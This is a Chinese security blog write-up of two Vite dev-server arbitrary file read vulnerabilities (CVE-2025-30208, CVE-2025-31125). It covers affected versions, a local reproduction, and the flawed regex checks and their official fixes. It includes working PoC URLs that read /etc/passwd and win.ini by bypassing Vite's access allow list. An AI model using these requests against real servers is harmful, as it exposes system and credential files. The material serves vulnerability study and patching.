CVE-2025-30208&31125:Vite任意文件读取漏洞

CVE-2025-30208&31125:Vite任意文件读取漏洞

原创 tpaer Timeline Sec 2025-04-11 10:02

关注我们❤️,添加星标🌟,一起学安全!

作者:tpaer@Timeline Sec 

本文字数:3386

阅读时长:2~4mins 

声明:仅供学习参考使用,请勿用作违法用途,否则后果自负 

0x01 简介

Vite 是一款高效的现代化前端构建工具,以快速冷启动和热更新为核心优势,广泛应用于 Vue、React 等项目开发。

0x02 漏洞概述

漏洞编号:CVE-2025-30208&CVE-2025-31125

CVE-2025-30208 和CVE-2025-31125漏洞源于 Vite 开发服务器对特定 URL 请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护非法读取服务器的任意文件。

0x03 影响版本

CVE-2025-30208:

Vite <= 4.5.9
5.0.0 <= Vite <= 5.4.14
6.0.0 <= Vite <= 6.0.11
6.1.0 <= Vite <= 6.1.1
6.2.0 <= Vite <= 6.2.2

CVE-2025-31125:

vite <= 4.5.10
5.0.0 <= vite <= 5.4.15
6.0.0 <= vite <= 6.0.12
6.1.0 <= vite <= 6.1.2
6.2.0 <= vite <= 6.2.3

0x04 环境搭建

CVE-2025-30208环境

本地搭建存在漏洞的环境,以Vite 4.5.9为例

npm install [email protected]

启动Vite

npx vite

CVE-2025-31125环境

本地搭建存在漏洞的环境,以Vite 6.2.3为例

npm install [email protected]

启动Vite

npx vite

0x05 漏洞复现

CVE-2025-30208复现

CVE-2025-30208 是利用正则表达式匹配的漏洞进行绕过

正常访问路径提示403:The request url “C:/windows/win.ini” is outside of Vite serving allow list.

http://localhost:5173/@fs/C://windows/win.ini


使用如下官方的Poc绕过Vite的访问控制读取到C://windows/win.ini
文件

http://localhost:5173/@fs/C://windows/win.ini?import&raw??


相应Linux下的Poc

http://localhost:5173/@fs/etc/passwd?import&raw??

CVE-2025-31125复现

CVE-2025-31125是利用inline的规则配合.wsam进行绕过增加的正则检测

使用官方的Poc绕过Vite的访问控制读取到C://windows/win.ini
文件

http://localhost:5173/@fs/C://windows/win.ini?import&inline=1.wasm?init

相应的Linux下的Poc

http://localhost:5173/@fs/etc/passwd?import&inline=1.wasm?init

0x06 漏洞分析

先看第一个版本CVE-2025-30208:以v6.2.2进行分析

https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w

http://localhost:5173/@fs/C://windows/win.ini

根据修复代码定位到packages\vite\src\node\server\middlewares\transform.ts
,在URL出打下断点,跳入到removeTimestampQuery
方法中

这里出现两个正则

#用于匹配特定格式的时间戳字符串t=1234567890123const timestampRE = /\bt=\d{13}&?\b/#检查url是否以?或&结尾const trailingSeparatorRE = /[?&]$/

在过滤处理后当前的URL

跳回原来的方法继续执行,以下是一些if判断均不满足条件直接跳过

到了关键处,观察if表达式存在逻辑表达式和短路求值的内容:

A || B:如果 A 为 true,则不会执行 BA && B:如果 A 为 false,则不会执行 B

会先判断(rawRE.test(url) || urlRE.test(url))
当满足rawRE.test(url)=false
并且urlRE.test(url)=false
时则跳过ensureServingAccess
函数,该函数则为vite服务器的一个安全函数用于检查请求的 URL 是否允许被 Vite 服务访问

https://vite.dev/config/server-options.html#server-fs-allow

ensureServingAccess代码

接下来看两个正则

#匹配url是否有url参数export const urlRE = /(\?|&)url(?:&|$)/#匹配url是否有raw参数export const rawRE = /(\?|&)raw(?:&|$)/

此时我们的url为

/@fs/C://windows/win.ini?import&raw?

首先我们的url内容没有url参数,满足rawRE.test(url)=false
即可

rawRE.test("/@fs/C://windows/win.ini?import&raw?")

为什么POC没有被正则匹配到,是因为这段正则出现了问题,/(\?|&)raw(?:&|$)/
只匹配raw
 后的&或字符串结尾,raw?
正好绕过


再看官方的修复对比v6.2.2和v6.2.3:增加了一条正则进行匹配,这段正则专门匹配URL 末尾是否有多余的查询参数分隔符(?
 或 &
)从而修复了该问题

const trailingQuerySeparatorsRE = /[?&]+$/

https://github.com/vitejs/vite/compare/v6.2.2…v6.2.3


新的绕过方式CVE-2025-31125

https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8

/@fs/C:/windows/win.ini?import&inline=1.wasm?init

除了?url
和?raw
还有一种内联的方法?inline
,他的作用是:

将文件(如图片、字体、WASM 等)的内容转换为 Base64 编码字符串
 或 直接嵌入到 JS/HTML/CSS 中
,避免额外的 HTTP 请求

?init
主要用于 WebAssembly(.wasm
)文件的初始化,默认只有.wasm
支持?init
其他如.data
、.bin
可以通过插件拓展支持

通过这种新的方法绕过了修复后的正则过滤


对比v6.2.3和v6.2.4:增加了三条正则的匹配,这意味着只要url存在这些参数都会进入到ensureServingAccess
函数中

const urlRE = /[?&]url\b/const rawRE = /[?&]raw\b/const inlineRE = /[?&]inline\b/

https://github.com/vitejs/vite/compare/v6.2.3…v6.2.4

0x07 修复方式

升级到官方修复版本。

参考链接

https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w

https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8

回复
【加群】
进入微信交流群

回复
【SRC群】
进入SRC-QQ交流群

回复
【新人】
领取新人学习指南资料

回复
【面试】
获取渗透测试常见面试题

回复
【手册】
获取原创技术PDF手册

回复
【合作】
获取各类安全项目合作方式

回复
【帮会】
付费加入SRC知识库学习

回复

培训】
获取TimelineSec创办的实战课程

视频号:搜索TimelineSec,官方微博

团队官网:
http://www.timelinesec.com

B站:
https://space.bilibili.com/524591903

觉得有用就点个赞吧!

欢迎评论区留言讨论~